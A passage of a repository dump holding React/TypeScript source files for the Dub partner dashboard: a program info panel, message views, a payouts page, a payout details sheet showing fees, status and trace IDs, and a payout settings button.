programEnrollment,\n}: {\n  programEnrollment: ProgramEnrollmentProps;\n}) {\n  const program = programEnrollment.program;\n  const partnerLink = constructPartnerLink({\n    group: programEnrollment.group,\n    link: programEnrollment.links?.[0],\n  });\n\n  const { data: statsTotals } = usePartnerAnalytics({\n    event: \"composite\",\n    interval: \"all\",\n  });\n\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <>\n      {/* Program info */}\n      <div className=\"border-border-subtle relative shrink-0 overflow-hidden border-b\">\n        <div className=\"absolute inset-y-0 right-0 w-96 [mask-image:radial-gradient(100%_100%_at_100%_0%,black_30%,transparent)]\">\n          <Grid cellSize={20} className=\"text-neutral-200\" />\n        </div>\n        <div className=\"relative flex flex-col gap-4 p-6\">\n          <img\n            src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n            alt={`${program.name} logo`}\n            className=\"size-10 rounded-full\"\n          />\n          <div className=\"flex flex-col\">\n            <span className=\"text-content-emphasis block truncate text-lg font-semibold\">\n              {program.name}\n            </span>\n            <span className=\"text-content-subtle text-sm font-medium\">\n              Partner since {formatDate(programEnrollment.createdAt)}\n            </span>\n          </div>\n        </div>\n      </div>\n\n      {/* Referral link */}\n      {programEnrollment.links && programEnrollment.links.length > 0 && (\n        <div className=\"pl-6 pr-6 pt-7\">\n          <div className=\"flex items-end justify-between\">\n            <h3 className=\"text-content-emphasis text-sm font-semibold\">\n              Referral link\n            </h3>\n            <Link\n              href={`/programs/${program.slug}/links`}\n              target=\"_blank\"\n              className=\"text-sm font-medium text-neutral-500 hover:text-neutral-700\"\n            >\n              View all\n            </Link>\n          </div>\n\n          <div className=\"relative mt-2\">\n            <input\n              type=\"text\"\n              readOnly\n              value={getPrettyUrl(partnerLink)}\n              className=\"text-content-default focus:border-border-emphasis bg-bg-default block h-11 w-full rounded-xl border border-neutral-200 pl-3 pr-12 text-sm focus:outline-none focus:ring-neutral-500\"\n            />\n            {/* Gradient fade overlay */}\n            <div className=\"pointer-events-none absolute right-12 top-1 h-8 w-10 bg-gradient-to-r from-transparent to-white\" />\n            <button\n              type=\"button\"\n              onClick={() => {\n                copyToClipboard(partnerLink);\n                toast.success(\"Link copied\");\n              }}\n              className=\"absolute right-2 top-2 flex h-7 w-7 items-center justify-center rounded-lg bg-neutral-900 text-white transition-colors hover:bg-gray-800\"\n            >\n              <div className=\"relative size-3\">\n                <div\n                  className={cn(\n                    \"absolute inset-0 transition-[transform,opacity]\",\n                    copied && \"translate-y-1 opacity-0\",\n                  )}\n                >\n                  <Copy className=\"size-3\" />\n                </div>\n                <div\n                  className={cn(\n                    \"absolute inset-0 transition-[transform,opacity]\",\n                    !copied && \"translate-y-1 opacity-0\",\n                  )}\n                >\n                  <Check className=\"size-3\" />\n                </div>\n              </div>\n            </button>\n          </div>\n        </div>\n      )}\n\n      {/* Stats */}\n      <div className=\"pl-6 pr-6 pt-7\">\n        <h3 className=\"text-content-emphasis text-sm font-semibold\">\n          Performance\n        </h3>\n        <div className=\"divide-border-subtle border-border-subtle mt-2 divide-y rounded-xl border\">\n          <div className=\"divide-border-subtle grid grid-cols-3 divide-x\">\n            {[\"clicks\", \"leads\", \"sales\"].map((event) => (\n              <div key={event} className=\"flex flex-col px-3 py-2.5\">\n                <span className=\"text-content-subtle text-xs font-medium\">\n                  {capitalize(event)}\n                </span>\n                {statsTotals ? (\n                  <span className=\"text-content-emphasis text-sm font-medium\">\n                    {nFormatter(statsTotals?.[event], { full: true })}\n                  </span>\n                ) : (\n                  <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n                )}\n              </div>\n            ))}\n          </div>\n          <div className=\"divide-border-subtle grid grid-cols-2 divide-x\">\n            {[\n              { label: \"Revenue\", value: statsTotals?.saleAmount },\n              { label: \"Earnings\", value: programEnrollment.totalCommissions },\n            ].map(({ label, value }) => (\n              <div key={label} className=\"flex flex-col px-3 py-2.5\">\n                <span className=\"text-content-subtle text-xs font-medium\">\n                  {label}\n                </span>\n                {value !== undefined ? (\n                  <span className=\"text-content-emphasis text-sm font-medium\">\n                    {currencyFormatter(value)}\n                  </span>\n                ) : (\n                  <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n                )}\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n\n      {/* Rewards */}\n      <div className=\"pl-6 pr-6 pt-7\">\n        <h3 className=\"text-content-emphasis text-sm font-semibold\">Rewards</h3>\n        <div className=\"mt-1\">\n          <ProgramRewardsPanel\n            rewards={programEnrollment.rewards ?? []}\n            discount={programEnrollment.discount}\n          />\n        </div>\n      </div>\n\n      {/* Help & support */}\n      <div className=\"border-border-subtle pl-6 pr-6 pt-7\">\n        <h3 className=\"text-content-emphasis text-sm font-semibold\">\n          Help and support\n        </h3>\n        <div className=\"mt-1\">\n          <ProgramHelpLinks />\n        </div>\n      </div>\n    </>\n  );\n}\n\nfunction ProgramInfoPanelSkeleton() {\n  return (\n    <>\n      {/* Program info skeleton */}\n      <div className=\"border-border-subtle relative shrink-0 overflow-hidden border-b\">\n        <div className=\"absolute inset-y-0 right-0 w-96 [mask-image:radial-gradient(100%_100%_at_100%_0%,black_30%,transparent)]\">\n          <Grid cellSize={20} className=\"text-neutral-200\" />\n        </div>\n        <div className=\"relative flex flex-col gap-4 p-6\">\n          <div className=\"size-10 animate-pulse rounded-full bg-neutral-200\" />\n          <div className=\"flex flex-col gap-2\">\n            <div className=\"h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n            <div className=\"h-4 w-40 animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n        </div>\n      </div>\n\n      {/* Referral link skeleton */}\n      <div className=\"pl-6 pr-6 pt-7\">\n        <div className=\"flex items-end justify-between\">\n          <div className=\"h-5 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"h-4 w-16 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n        <div className=\"relative mt-2\">\n          <div className=\"h-11 w-full animate-pulse rounded-xl bg-neutral-200\" />\n        </div>\n      </div>\n\n      {/* Stats skeleton */}\n      <div className=\"pl-6 pr-6 pt-7\">\n        <div className=\"h-5 w-24 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"divide-border-subtle border-border-subtle mt-2 divide-y rounded-xl border\">\n          <div className=\"divide-border-subtle grid grid-cols-3 divide-x\">\n            {[...Array(3)].map((_, idx) => (\n              <div key={idx} className=\"flex flex-col px-3 py-2.5\">\n                <div className=\"h-3 w-12 animate-pulse rounded-md bg-neutral-200\" />\n                <div className=\"mt-1 h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n              </div>\n            ))}\n          </div>\n          <div className=\"divide-border-subtle grid grid-cols-2 divide-x\">\n            {[...Array(2)].map((_, idx) => (\n              <div key={idx} className=\"flex flex-col px-3 py-2.5\">\n                <div className=\"h-3 w-16 animate-pulse rounded-md bg-neutral-200\" />\n                <div className=\"mt-1 h-5 w-20 animate-pulse rounded-md bg-neutral-200\" />\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n\n      {/* Rewards skeleton */}\n      <div className=\"pl-6 pr-6 pt-7\">\n        <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"mt-1\">\n          <div className=\"h-20 w-full animate-pulse rounded-lg bg-neutral-200\" />\n        </div>\n      </div>\n\n      {/* Help & support skeleton */}\n      <div className=\"border-border-subtle pl-6 pr-6 pt-7\">\n        <div className=\"h-5 w-32 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"mt-1\">\n          <div className=\"h-16 w-full animate-pulse rounded-lg bg-neutral-200\" />\n        </div>\n      </div>\n    </>\n  );\n}\n\nfunction ViewProgramButton({ programSlug }: { programSlug: string }) {\n  return (\n    <Link href={`/programs/${programSlug}`} target=\"_blank\">\n      <Button\n        variant=\"secondary\"\n        text=\"View program\"\n        className=\"h-8 rounded-lg px-3\"\n      />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/messages/[programSlug]/page.tsx",
    "content": "import { PartnerMessagesProgramPageClient } from \"./page-client\";\n\nexport default function PartnerMessagesProgramPage() {\n  return <PartnerMessagesProgramPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/messages/layout.tsx",
    "content": "\"use client\";\n\nimport { useProgramMessages } from \"@/lib/swr/use-program-messages\";\nimport { NavButton } from \"@/ui/layout/page-content/nav-button\";\nimport { MessagesContext, MessagesPanel } from \"@/ui/messages/messages-context\";\nimport { MessagesList } from \"@/ui/messages/messages-list\";\nimport { ProgramSelector } from \"@/ui/partners/program-selector\";\nimport { Button, InfoTooltip, useRouterStuff } from \"@dub/ui\";\nimport { Msgs, Pen2 } from \"@dub/ui/icons\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { CSSProperties, ReactNode, useEffect, useState } from \"react\";\n\nexport default function MessagesLayout({ children }: { children: ReactNode }) {\n  const { programSlug } = useParams() as { programSlug?: string };\n\n  const router = useRouter();\n  const { searchParams } = useRouterStuff();\n\n  const { programMessages, isLoading, error } = useProgramMessages({\n    query: { messagesLimit: 1 },\n  });\n\n  const [currentPanel, setCurrentPanel] = useState<MessagesPanel>(\n    programSlug ? \"main\" : \"index\",\n  );\n\n  useEffect(() => {\n    searchParams.get(\"new\") && setCurrentPanel(\"main\");\n  }, [searchParams.get(\"new\")]);\n\n  return (\n    <MessagesContext.Provider value={{ currentPanel, setCurrentPanel }}>\n      <div className=\"@container/page h-[calc(100dvh-var(--page-top-margin)-var(--page-bottom-margin)-1px)] w-full overflow-hidden rounded-t-[inherit] bg-white\">\n        <div\n          className=\"@[800px]/page:grid-cols-[min-content_minmax(340px,1fr)] @[800px]/page:translate-x-0 grid h-full translate-x-[calc(var(--current-panel)*-100%)] grid-cols-[100%_100%]\"\n          style={\n            {\n              \"--current-panel\": { index: 0, main: 1 }[currentPanel],\n            } as CSSProperties\n          }\n        >\n          {/* Left panel - 800px/messages list */}\n          <div className=\"@[800px]/page:w-[280px] @[960px]/page:w-[340px] flex w-full flex-col overflow-hidden\">\n            <div className=\"border-border-subtle flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n              <div className=\"flex min-w-0 items-center gap-4\">\n                <NavButton />\n                <div className=\"flex items-center gap-2\">\n                  <h1 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n                    Messages\n                  </h1>\n                  <InfoTooltip\n                    content={\n                      \"Use the messaging center to communicate with the programs you partner with and stay up to date with their latest updates. [Learn more](https://dub.co/help/article/communicating-with-programs)\"\n                    }\n                  />\n                </div>\n              </div>\n              <ProgramSelector\n                selectedProgramSlug={programSlug ?? null}\n                setSelectedProgramSlug={(slug) =>\n                  router.push(`/messages/${slug}`)\n                }\n                trigger={\n                  <Button\n                    type=\"button\"\n                    variant=\"secondary\"\n                    icon={<Pen2 className=\"size-4\" />}\n                    className=\"size-8 rounded-lg p-0\"\n                  />\n                }\n                matchTriggerWidth={false}\n                optionClassName=\"sm:max-w-[320px]\"\n              />\n            </div>\n            <div className=\"scrollbar-hide grow overflow-y-auto\">\n              {programMessages?.length || isLoading ? (\n                <MessagesList\n                  groupedMessages={programMessages?.map(\n                    ({ program, messages }) => ({\n                      id: program.slug,\n                      name: program.name,\n                      image: program.logo,\n                      messages,\n                      href: `/messages/${program.slug}`,\n                      unread: messages.some(\n                        (message) =>\n                          !message.senderPartnerId && !message.readInApp,\n                      ),\n                    }),\n                  )}\n                  activeId={programSlug}\n                />\n              ) : error ? (\n                <div className=\"text-content-subtle flex size-full items-center justify-center text-sm\">\n                  Failed to load messages\n                </div>\n              ) : (\n                <div className=\"flex size-full flex-col items-center justify-center px-4\">\n                  <Msgs className=\"size-10 text-black\" />\n                  <div className=\"mt-6 max-w-64 text-center\">\n                    <span className=\"text-content-emphasis text-base font-semibold\">\n                      You don't have any messages\n                    </span>\n                    <p className=\"text-content-subtle text-sm font-medium\">\n                      When you receive a new message, it will appear here. You\n                      can also start a conversation at any time.\n                    </p>\n                  </div>\n                </div>\n              )}\n            </div>\n          </div>\n\n          <div className=\"border-border-subtle @[800px]/page:border-l size-full min-h-0\">\n            {children}\n          </div>\n        </div>\n      </div>\n    </MessagesContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/messages/page-client.tsx",
    "content": "\"use client\";\n\nimport { useMessagesContext } from \"@/ui/messages/messages-context\";\nimport { ChevronLeft, Msgs } from \"@dub/ui/icons\";\n\nexport function PartnerMessagesPageClient() {\n  const { setCurrentPanel } = useMessagesContext();\n\n  return (\n    <div className=\"flex h-full flex-col\">\n      <div className=\"border-border-subtle flex h-12 items-center gap-2 border-b px-4 sm:h-16 sm:px-6\">\n        <button\n          type=\"button\"\n          onClick={() => {\n            setCurrentPanel(\"index\");\n          }}\n          className=\"@[800px]/page:hidden rounded-lg p-1.5 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n        >\n          <ChevronLeft className=\"size-3.5\" />\n        </button>\n      </div>\n\n      <div className=\"flex grow flex-col items-center justify-center gap-4\">\n        <Msgs className=\"text-content-muted size-10\" />\n        <p className=\"text-content-muted text-sm font-medium\">\n          Select or compose a message\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/messages/page.tsx",
    "content": "import { PartnerMessagesPageClient } from \"./page-client\";\n\nexport default function PartnerMessages() {\n  return <PartnerMessagesPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { PartnerPayoutSettingsButton } from \"./partner-payout-settings-button\";\nimport { PayoutStats } from \"./payout-stats\";\nimport { PayoutTable } from \"./payout-table\";\n\nexport default function PartnersPayoutsSettings() {\n  return (\n    <PageContent\n      title=\"Payouts\"\n      titleInfo={{\n        title:\n          \"Connect a bank account and start receiving partner payouts from the affiliate programs you're working with.\",\n        href: \"https://dub.co/help/article/receiving-payouts\",\n      }}\n      controls={<PartnerPayoutSettingsButton />}\n    >\n      <PageWidthWrapper className=\"grid grid-cols-1 gap-4 pb-10\">\n        <PayoutStats />\n        <PayoutTable />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/partner-payout-details-sheet.tsx",
    "content": "import {\n  BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n  INVOICE_AVAILABLE_PAYOUT_STATUSES,\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n  PAYOUTS_SHEET_ITEMS_LIMIT,\n  STABLECOIN_PAYOUT_FEE_RATE,\n} from \"@/lib/constants/payouts\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PartnerEarningsResponse, PartnerPayoutResponse } from \"@/lib/types\";\nimport { CustomerAvatar } from \"@/ui/customers/customer-avatar\";\nimport { CommissionTypeIcon } from \"@/ui/partners/comission-type-icon\";\nimport { CommissionTypeBadge } from \"@/ui/partners/commission-type-badge\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { ConditionalLink } from \"@/ui/shared/conditional-link\";\nimport { X } from \"@/ui/shared/icons\";\nimport { PartnerPayoutMethod, PayoutStatus } from \"@dub/prisma/client\";\nimport {\n  Button,\n  CircleArrowRight,\n  CopyText,\n  DynamicTooltipWrapper,\n  InvoiceDollar,\n  LoadingSpinner,\n  Sheet,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTime,\n  formatDateTimeSmart,\n  OG_AVATAR_URL,\n  pluralize,\n} from \"@dub/utils\";\nimport { formatPeriod } from \"@dub/utils/src/functions/datetime\";\nimport { addBusinessDays, addMinutes } from \"date-fns\";\nimport Link from \"next/link\";\nimport { Dispatch, Fragment, SetStateAction, useMemo } from \"react\";\nimport useSWR from \"swr\";\n\ntype PayoutDetailsSheetProps = {\n  payout: PartnerPayoutResponse;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nconst failureTooltips: Record<PartnerPayoutMethod, string> = {\n  connect:\n    \"Payout failures are usually due to invalid bank account details. Once you've [updated your account](/payouts?settings=true), the payout will be retried automatically.\",\n  stablecoin:\n    \"Payout failures are usually due to incorrect wallet configuration. Once you've [updated your account](/payouts?settings=true), you can retry the payout.\",\n  paypal:\n    \"Payout failures are usually due to incorrect PayPal account configuration. Once you've [updated your account](/payouts?settings=true), you can retry the payout.\",\n};\n\nfunction PayoutDetailsSheetContent({ payout }: PayoutDetailsSheetProps) {\n  const { partner } = usePartnerProfile();\n\n  const {\n    data: earnings,\n    isLoading,\n    error,\n  } = useSWR<PartnerEarningsResponse[]>(\n    partner\n      ? `/api/partner-profile/programs/${payout.program.id}/earnings?payoutId=${payout.id}&interval=all&pageSize=${PAYOUTS_SHEET_ITEMS_LIMIT}`\n      : undefined,\n    fetcher,\n  );\n\n  const invoiceData = useMemo(() => {\n    const statusBadge = PayoutStatusBadges[payout.status];\n\n    return [\n      {\n        key: \"Program\",\n        value: (\n          <ConditionalLink\n            href={`/programs/${payout.program.slug}`}\n            target=\"_blank\"\n          >\n            <img\n              src={\n                payout.program.logo || `${OG_AVATAR_URL}${payout.program.name}`\n              }\n              alt={payout.program.name}\n              className=\"mr-1.5 inline-flex size-4 rounded-sm\"\n            />\n            {payout.program.name}\n          </ConditionalLink>\n        ),\n      },\n      {\n        key: \"Period\",\n        value: formatPeriod(payout),\n      },\n      {\n        key: \"Amount\",\n        value: (\n          <div className=\"flex items-center gap-2\">\n            <strong>{currencyFormatter(payout.amount)}</strong>\n\n            {payout.mode === \"external\" && (\n              <Tooltip\n                content={\n                  payout.status === PayoutStatus.pending\n                    ? `This payout will be made externally through your ${payout.program.name} account after approval.`\n                    : `This payout was made externally through your ${payout.program.name} account.`\n                }\n              >\n                <CircleArrowRight className=\"size-3.5 shrink-0 text-neutral-500\" />\n              </Tooltip>\n            )}\n\n            {payout.mode === \"internal\" &&\n              INVOICE_AVAILABLE_PAYOUT_STATUSES.includes(payout.status) && (\n                <Tooltip content=\"View invoice\">\n                  <div className=\"flex h-5 w-5 items-center justify-center rounded-md transition-colors duration-150 hover:border hover:border-neutral-200 hover:bg-neutral-100\">\n                    <Link\n                      href={`/invoices/${payout.id}`}\n                      className=\"text-neutral-700\"\n                      target=\"_blank\"\n                      rel=\"noopener noreferrer\"\n                    >\n                      <InvoiceDollar className=\"size-4\" />\n                    </Link>\n                  </div>\n                </Tooltip>\n              )}\n          </div>\n        ),\n      },\n\n      ...(payout.method === \"stablecoin\" ||\n      payout.amount < MIN_WITHDRAWAL_AMOUNT_CENTS\n        ? [\n            {\n              key: \"Fee\",\n              value: (\n                <Tooltip\n                  content={[\n                    payout.method === \"stablecoin\" &&\n                      `Stablecoin payouts on Dub are subject to a [${STABLECOIN_PAYOUT_FEE_RATE * 100}% transaction fee](https://dub.co/help/article/receiving-payouts#connecting-a-stablecoin-wallet).`,\n                    payout.amount < MIN_WITHDRAWAL_AMOUNT_CENTS &&\n                      `Since this payout is below the [minimum withdrawal amount](https://dub.co/help/article/receiving-payouts#what-is-the-minimum-withdrawal-amount-and-how-does-it-work) of ${currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS, { trailingZeroDisplay: \"stripIfInteger\" })}, a ${currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS, { trailingZeroDisplay: \"stripIfInteger\" })} withdrawal fee was applied.`,\n                  ]\n                    .filter(Boolean)\n                    .join(\" \")\n                    // a bit hacky, but we want to make the second sentence a bit more natural with \"Also, since\" if both conditions are met\n                    .replace(\n                      \"Since\",\n                      payout.method === \"stablecoin\" ? \"Also, since\" : \"Since\",\n                    )}\n                >\n                  <span className=\"hover:text-content-emphasis cursor-help underline decoration-dotted underline-offset-2\">\n                    {currencyFormatter(\n                      (payout.method === \"stablecoin\"\n                        ? payout.amount * STABLECOIN_PAYOUT_FEE_RATE\n                        : 0) +\n                        (payout.amount < MIN_WITHDRAWAL_AMOUNT_CENTS\n                          ? BELOW_MIN_WITHDRAWAL_FEE_CENTS\n                          : 0),\n                    )}\n                  </span>\n                </Tooltip>\n              ),\n            },\n          ]\n        : []),\n\n      {\n        key: \"Description\",\n        value: payout.description || \"-\",\n      },\n\n      {\n        key: \"Status\",\n        value: (\n          <StatusBadge variant={statusBadge.variant} icon={statusBadge.icon}>\n            {statusBadge.label}\n          </StatusBadge>\n        ),\n      },\n\n      ...(payout.failureReason\n        ? [\n            {\n              key: \"Failure reason\",\n              value: (\n                <span className=\"text-red-600\">{payout.failureReason}</span>\n              ),\n              tooltip: payout.method\n                ? failureTooltips[payout.method]\n                : undefined,\n            },\n          ]\n        : []),\n\n      {\n        key: \"Initiated\",\n        value: payout.initiatedAt ? (\n          <TimestampTooltip\n            timestamp={payout.initiatedAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\"]}\n          >\n            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n              {formatDateTimeSmart(payout.initiatedAt)}\n            </span>\n          </TimestampTooltip>\n        ) : (\n          \"-\"\n        ),\n        tooltip:\n          \"Date and time when the payout was initiated by the program. Payouts usually take up to 5 business days to be fully processed.\",\n      },\n      {\n        key: \"Paid\",\n        value: payout.paidAt ? (\n          <TimestampTooltip\n            timestamp={payout.paidAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\"]}\n          >\n            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n              {formatDateTimeSmart(payout.paidAt)}\n            </span>\n          </TimestampTooltip>\n        ) : (\n          \"-\"\n        ),\n        tooltip:\n          \"Date and time when the payout was fully processed by the program and paid to your account.\",\n      },\n\n      ...(payout.traceId\n        ? [\n            {\n              key: \"Trace ID\",\n              value: (\n                <CopyText\n                  value={payout.traceId}\n                  className=\"text-left font-mono text-sm text-neutral-500\"\n                >\n                  {payout.traceId}\n                </CopyText>\n              ),\n              tooltip:\n                payout.method === \"stablecoin\"\n                  ? `Stablecoin payouts typically arrive within minutes. If you haven't received your payout${payout.paidAt ? ` by \\`${formatDateTimeSmart(addMinutes(payout.paidAt, 60))}\\`` : \"\"}, you can contact support and provide the following trace ID as reference.`\n                  : `Banks can take up to 5 business days to process payouts. If you haven't received your payout${payout.paidAt ? ` by \\`${formatDateTimeSmart(addBusinessDays(payout.paidAt, 5))}\\`` : \"\"}, you can contact your bank and provide the following trace ID as reference.`,\n            },\n          ]\n        : []),\n    ];\n  }, [payout, earnings]);\n\n  const table = useTable({\n    data:\n      earnings?.filter(({ status }) =>\n        [\"pending\", \"processed\", \"paid\"].includes(status),\n      ) || [],\n    columns: [\n      {\n        header: \"Details\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            {[\"click\", \"custom\"].includes(row.original.type) ? (\n              <div className=\"flex size-6 items-center justify-center rounded-full bg-neutral-100\">\n                <CommissionTypeIcon\n                  type={row.original.type}\n                  className=\"size-4\"\n                />\n              </div>\n            ) : (\n              <CustomerAvatar\n                customer={row.original.customer}\n                className=\"size-6\"\n              />\n            )}\n\n            <div className=\"flex flex-col\">\n              <span className=\"text-sm text-neutral-700\">\n                {row.original.type === \"click\"\n                  ? `${row.original.quantity} ${pluralize(\"click\", row.original.quantity)}`\n                  : row.original.customer\n                    ? row.original.customer.email || row.original.customer.name\n                    : \"Custom commission\"}\n              </span>\n              <span className=\"text-xs text-neutral-500\">\n                {formatDateTime(row.original.createdAt)}\n              </span>\n            </div>\n          </div>\n        ),\n      },\n      {\n        id: \"earnings\",\n        header: \"Earnings\",\n        cell: ({ row }) => currencyFormatter(row.original.earnings),\n      },\n      {\n        id: \"type\",\n        header: \"Type\",\n        minSize: 100,\n        size: 120,\n        maxSize: 150,\n        cell: ({ row }) => (\n          <CommissionTypeBadge type={row.original.type ?? \"sale\"} />\n        ),\n      },\n    ],\n    thClassName: (id) =>\n      cn(id === \"total\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id) => cn(id === \"total\" && \"text-right\", \"border-l-0\"),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    resourceName: (p) => `commission${p ? \"s\" : \"\"}`,\n    loading: isLoading,\n    error: error ? \"Failed to load commissions\" : undefined,\n  } as any);\n\n  return (\n    <div className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Payout details\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"flex grow flex-col\">\n        <div className=\"flex flex-col gap-4 p-6\">\n          <div className=\"text-base font-medium text-neutral-900\">\n            Invoice details\n          </div>\n          <div className=\"grid grid-cols-2 gap-3 text-sm\">\n            {invoiceData.map(({ key, value, tooltip }) => (\n              <Fragment key={key}>\n                <DynamicTooltipWrapper\n                  tooltipProps={\n                    tooltip ? { content: tooltip, side: \"left\" } : undefined\n                  }\n                >\n                  <div\n                    className={cn(\n                      \"flex items-center font-medium text-neutral-500\",\n                      tooltip &&\n                        \"cursor-help underline decoration-dotted underline-offset-2\",\n                    )}\n                  >\n                    {key}\n                  </div>\n                </DynamicTooltipWrapper>\n                <div className=\"text-neutral-800\">{value}</div>\n              </Fragment>\n            ))}\n          </div>\n        </div>\n\n        {isLoading ? (\n          <div className=\"flex h-full items-center justify-center\">\n            <LoadingSpinner />\n          </div>\n        ) : earnings?.length ? (\n          <div className=\"p-6 pt-2\">\n            <Table {...table} />\n          </div>\n        ) : null}\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-between gap-2 p-5\">\n          <Link\n            href={`/programs/${payout.program.slug}/earnings?payoutId=${payout.id}&start=${payout.periodStart}&end=${payout.periodEnd}`}\n            target=\"_blank\"\n            className=\"w-full\"\n          >\n            <Button variant=\"secondary\" text=\"View all\" />\n          </Link>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PayoutDetailsSheet({\n  isOpen,\n  ...rest\n}: PayoutDetailsSheetProps & {\n  isOpen: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={rest.setIsOpen}\n      onClose={() => {\n        queryParams({ del: \"payoutId\" });\n      }}\n    >\n      <PayoutDetailsSheetContent {...rest} />\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/partner-payout-settings-button.tsx",
    "content": "\"use client\";\n\nimport { hasPermission } from \"@/lib/auth/partner-users/partner-user-permissions\";\nimport usePartnerPayoutSettings from \"@/lib/swr/use-partner-payout-settings\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { ConnectPayoutButton } from \"@/ui/partners/payouts/connect-payout-button\";\nimport { Button } from \"@dub/ui\";\nimport { usePartnerPayoutSettingsSheet } from \"./partner-payout-settings-sheet\";\n\nexport function PartnerPayoutSettingsButton() {\n  const { partner } = usePartnerProfile();\n  const { payoutMethods } = usePartnerPayoutSettings();\n\n  const { PartnerPayoutSettingsSheet, openSettings } =\n    usePartnerPayoutSettingsSheet();\n\n  const hasConnectedPayoutMethod = payoutMethods.some((m) => m.connected);\n\n  if (partner && !hasPermission(partner.role, \"payout_settings.update\")) {\n    return null;\n  }\n\n  return (\n    <>\n      <PartnerPayoutSettingsSheet />\n\n      {!partner?.payoutsEnabledAt && !hasConnectedPayoutMethod && (\n        <ConnectPayoutButton className=\"h-9 px-3\" />\n      )}\n\n      <Button\n        type=\"button\"\n        text=\"Payout settings\"\n        variant=\"secondary\"\n        className=\"h-9 px-3\"\n        onClick={openSettings}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/payouts/partner-payout-settings-sheet.tsx",
    "content": "\"use client\";\n\nimport { updatePartnerPayoutSettingsAction } from \"@/lib/actions/partners/update-partner-payout-settings\";\nimport { getEffectivePayoutMode } from \"@/lib/api/payouts/get-effective-payout-mode\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerPayoutSettings from \"@/lib/swr/use-partner-payout-settings\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { partnerPayoutSettingsSchema } from \"@/lib/zod/schemas/partners\";\nimport {\n  PAYOUT_METHODS,\n  PayoutMethodSelector,\n} from \"@/ui/partners/payouts/payout-method-cards\";\nimport { PayoutMethodDropdown } from \"@/ui/partners/payouts/payout-method-dropdown\";\nimport {\n  BlurImage,\n  Button,\n  InfoTooltip,\n  Sheet,\n  useRouterStuff,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useCallback, useEffect, useMemo, useRef, useState } from \"react\";\nimport { useForm, type UseFormRegister } from \"react-hook-form\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport * as z from 